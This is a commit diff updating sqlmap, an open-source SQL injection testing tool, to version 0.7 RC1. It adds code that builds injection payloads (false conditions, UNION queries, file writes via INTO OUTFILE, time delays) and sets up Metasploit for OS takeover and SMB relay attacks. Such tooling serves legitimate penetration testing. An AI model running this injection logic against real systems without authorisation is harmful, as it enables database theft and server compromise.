Updated to sqlmap 0.7 release candidate 1

This commit is contained in:
Bernardo Damele
2009-04-22 11:48:07 +00:00
parent b997df740a
commit 8c0ac767f4
129 changed files with 8386 additions and 1388 deletions

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -47,28 +47,32 @@ class Agent:
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
negValue = ""
retValue = ""
falseValue = ""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
elif falseCond == True or conf.paramFalseCond == True:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
"%s%s" % (negValue, kb.injParameter + newValue))
"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
@@ -259,6 +263,7 @@ class Agent:
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsNoSelect = query
@@ -267,6 +272,8 @@ class Agent:
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
elif fieldsSelectFrom:
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
@@ -281,10 +288,25 @@ class Agent:
#if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query):
def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
if kb.dbms == "MySQL":
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
concatenatedQuery = "%s||%s" % (query1, query2)
elif kb.dbms == "Microsoft SQL Server":
concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery
def concatQuery(self, query, unpack=True):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
@@ -310,54 +332,67 @@ class Agent:
@rtype: C{str}
"""
concatQuery = ""
query = query.replace(", ", ",")
if unpack == True:
concatenatedQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery += ",'%s')" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery += ",'%s')" % temp.stop
elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery += "||'%s'" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery += "||'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL"
if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
concatenatedQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery += "+'%s'" % temp.stop
elif fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery += "+'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
return concatQuery
return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None):
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
@@ -398,6 +433,12 @@ class Agent:
if not exprPosition:
exprPosition = kb.unionPosition
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
@@ -406,15 +447,15 @@ class Agent:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT "):
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += "NULL"
inbandQuery += nullChar
if " FROM " in query and not query.startswith("SELECT "):
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
@@ -422,6 +463,9 @@ class Agent:
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
if intoRegExp:
inbandQuery += intoRegExp
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -27,19 +27,22 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import random
import re
import socket
import string
import sys
import time
import urlparse
from lib.contrib import magic
from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING
@@ -137,8 +140,9 @@ def formatDBMSfp(versions=None):
return kb.dbms
def __formatFingerprintString(values, chain=" or "):
def formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
@@ -175,22 +179,22 @@ def formatFingerprint(target, info):
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"])
infoStr += " %s" % formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"])
infoStr += " %s" % formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"])
infoStr += " %s" % formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
infoStr += " (%s)" % formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
return infoStr
@@ -307,6 +311,21 @@ def dataToDumpFile(dumpFile, data):
dumpFile.flush()
def dataToOutFile(data):
if not data:
return "No data retrieved"
rFile = filePathToString(conf.rFile)
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
rFileFP = open(rFilePath, "wb")
rFileFP.write(data)
rFileFP.flush()
rFileFP.close()
return rFilePath
def strToHex(string):
"""
@param string: string to be converted into its hexadecimal value.
@@ -377,6 +396,9 @@ def readInput(message, default=None):
@rtype: C{str}
"""
if "\n" in message:
message += "\n> "
if conf.batch and default:
infoMsg = "%s%s" % (message, str(default))
logger.info(infoMsg)
@@ -386,7 +408,7 @@ def readInput(message, default=None):
data = default
else:
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
data = raw_input(message)
return data
@@ -418,7 +440,7 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5):
def randomStr(length=5, lowercase=False):
"""
@param length: length of the random string.
@type length: C{int}
@@ -427,7 +449,12 @@ def randomStr(length=5):
@rtype: C{str}
"""
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
if lowercase == True:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr
def sanitizeStr(string):
@@ -469,8 +496,8 @@ def banner():
"""
print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
%s
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
""" % VERSION_STRING
@@ -509,8 +536,10 @@ def cleanQuery(query):
def setPaths():
# sqlmap paths
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
@@ -629,7 +658,7 @@ def getRange(count, dump=False, plusOne=False):
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
@@ -653,7 +682,8 @@ def parseUnionPage(output, expression, partial=False, condition=None):
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
if sort:
output = set(output)
for entry in output:
info = []
@@ -677,3 +707,99 @@ def parseUnionPage(output, expression, partial=False, condition=None):
data = data[0]
return data
def getDelayQuery():
query = None
if kb.dbms in ( "MySQL", "PostgreSQL" ):
if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
query = queries[kb.dbms].timedelay % conf.timeSec
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
else:
query = queries[kb.dbms].timedelay % conf.timeSec
return query
def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
ip, _ = s.getsockname()
s.close()
return ip
def getRemoteIP():
return socket.gethostbyname(conf.hostname)
def getFileType(filePath):
magicFileType = magic.from_file(filePath)
if "ASCII" in magicFileType or "text" in magicFileType:
return "text"
else:
return "binary"
def pollProcess(process):
while True:
dataToStdout(".")
time.sleep(1)
returncode = process.poll()
if returncode != None:
if returncode == 0:
dataToStdout(" done\n")
else:
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
break
def getCharset(charsetType=None):
asciiTbl = []
if charsetType == None:
asciiTbl = range(0, 128)
# 0 or 1
elif charsetType == 1:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 50))
# Digits
elif charsetType == 2:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
# Hexadecimal
elif charsetType == 3:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 71))
asciiTbl.extend(range(96, 103))
# Characters
elif charsetType == 4:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
# Characters and digits
elif charsetType == 5:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
return asciiTbl

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -83,8 +83,11 @@ def urldecode(string):
return unquotedString
def urlencode(string, safe=":/?%&="):
def urlencode(string, safe=":/?%&=", convall=False):
if not string:
return
return urllib.quote(string, safe)
if convall == True:
return urllib.quote(string)
else:
return urllib.quote(string, safe)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -28,7 +28,6 @@ import re
import os
from lib.core.common import dataToDumpFile
from lib.core.common import filePathToString
from lib.core.data import conf
from lib.core.data import logger
@@ -45,18 +44,10 @@ class Dump:
self.__outputFP = None
def __write(self, data, n=True, rFile=False):
def __write(self, data, n=True):
if n:
print data
self.__outputFP.write("%s\n" % data)
# TODO: do not duplicate queries output in the text file, check
# before if the data is already within the text file content
if rFile and conf.rFile:
rFile = filePathToString(conf.rFile)
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
rFileFP.write(data)
rFileFP.close()
else:
print data,
self.__outputFP.write("%s " % data)
@@ -71,35 +62,38 @@ class Dump:
self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data):
def string(self, header, data, sort=True):
if isinstance(data, (list, tuple, set)):
self.lister(header, data)
self.lister(header, data, sort)
return
data = str(data)
if data:
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
data = data.replace("__START__", "").replace("__STOP__", "")
data = data.replace("__DEL__", ", ")
if "\n" in data:
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
self.__write("%s:\n---\n%s---\n" % (header, data))
else:
self.__write("%s: '%s'\n" % (header, data))
else:
self.__write("%s:\tNone\n" % header)
def lister(self, header, elements):
def lister(self, header, elements, sort=True):
if elements:
self.__write("%s [%d]:" % (header, len(elements)))
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
if sort == True:
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
for element in elements:
if isinstance(element, str):

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING
@@ -93,10 +95,10 @@ class sqlmapValueException(Exception):
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0]
errMsg += "Operating system: %s" % sys.platform
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s" % PLATFORM
return errMsg

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -25,17 +25,20 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import cookielib
import ctypes
import difflib
import logging
import os
import re
import socket
import sys
import time
import urllib2
import urlparse
from ConfigParser import ConfigParser
from lib.core.common import getFileType
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
@@ -49,13 +52,17 @@ from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PLATFORM
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING
from lib.core.update import update
from lib.parse.configfile import configFileParser
@@ -241,12 +248,140 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg
def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof:
return
if conf.osSmb:
isAdmin = False
if "win" in PLATFORM:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
elif "linux" in PLATFORM:
isAdmin = os.geteuid()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True
# TODO: add support for Mac OS X
#elif "darwin" in PLATFORM:
# pass
else:
warnMsg = "sqlmap is not able to check if you are running it "
warnMsg += "as an Administrator accout on this platform. "
warnMsg += "sqlmap will assume that you are an Administrator "
warnMsg += "which is mandatory for the SMB relay attack to "
warnMsg += "work properly"
logger.warn(warnMsg)
isAdmin = True
if isAdmin != True:
errMsg = "you need to run sqlmap as an administrator/root "
errMsg += "user if you want to perform a SMB relay attack "
errMsg += "because it will need to listen on a user-specified "
errMsg += "SMB TCP port for incoming connection attempts"
raise sqlmapMissingPrivileges, errMsg
debugMsg = "setting the out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
if condition:
debugMsg = "provided Metasploit Framework 3 path "
debugMsg += "'%s' is valid" % conf.msfPath
logger.debug(debugMsg)
msfEnvPathExists = True
else:
warnMsg = "the provided Metasploit Framework 3 path "
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
warnMsg += "be that the path does not exists or that one "
warnMsg += "or more of the needed Metasploit executables "
warnMsg += "within msfcli, msfconsole, msfencode and "
warnMsg += "msfpayload do not exist"
logger.warn(warnMsg)
else:
warnMsg = "you did not provide the local path where Metasploit "
warnMsg += "Framework 3 is installed"
logger.warn(warnMsg)
if msfEnvPathExists != True:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths"
logger.warn(warnMsg)
envPaths = os.environ["PATH"]
if "win" in PLATFORM:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
if condition:
infoMsg = "Metasploit Framework 3 has been found "
infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg)
msfEnvPathExists = True
conf.msfPath = envPath
break
if msfEnvPathExists != True:
errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg
def __setWriteFile():
if not conf.wFile:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
raise sqlmapFilePathException, errMsg
if not conf.dFile:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
raise sqlmapMissingMandatoryOptionException, errMsg
conf.wFileType = getFileType(conf.wFile)
def __setUnionTech():
if conf.uTech == None:
conf.uTech = "NULL"
return
debugMsg = "setting the UNION query SQL injection detection technique"
logger.debug(debugMsg)
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
@@ -263,6 +398,29 @@ def __setUnionTech():
logger.debug(debugMsg)
def __setOS():
"""
Force the back-end DBMS operating system option.
"""
if not conf.os:
return
debugMsg = "forcing back-end DBMS operating system to user defined value"
logger.debug(debugMsg)
conf.os = conf.os.lower()
if conf.os not in SUPPORTED_OS:
errMsg = "you provided an unsupported back-end DBMS operating "
errMsg += "system. The supported DBMS operating systems for OS "
errMsg += "and file system access are Linux and Windows. "
errMsg += "If you do not know the back-end DBMS underlying OS, "
errMsg += "do not provide it and sqlmap will fingerprint it for "
errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setDBMS():
"""
Force the back-end DBMS option.
@@ -280,8 +438,8 @@ def __setDBMS():
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management "
@@ -581,6 +739,21 @@ def __cleanupOptions():
if conf.delay:
conf.delay = float(conf.delay)
if conf.rFile:
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
if conf.wFile:
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
if conf.dFile:
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
if conf.msfPath:
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
if conf.tmpPath:
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
if conf.googleDork or conf.list:
conf.multipleTargets = True
@@ -600,21 +773,24 @@ def __setConfAttributes():
conf.httpHeaders = []
conf.hostname = None
conf.loggedToOut = None
conf.matchRatio = None
conf.md5hash = None
conf.multipleTargets = False
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
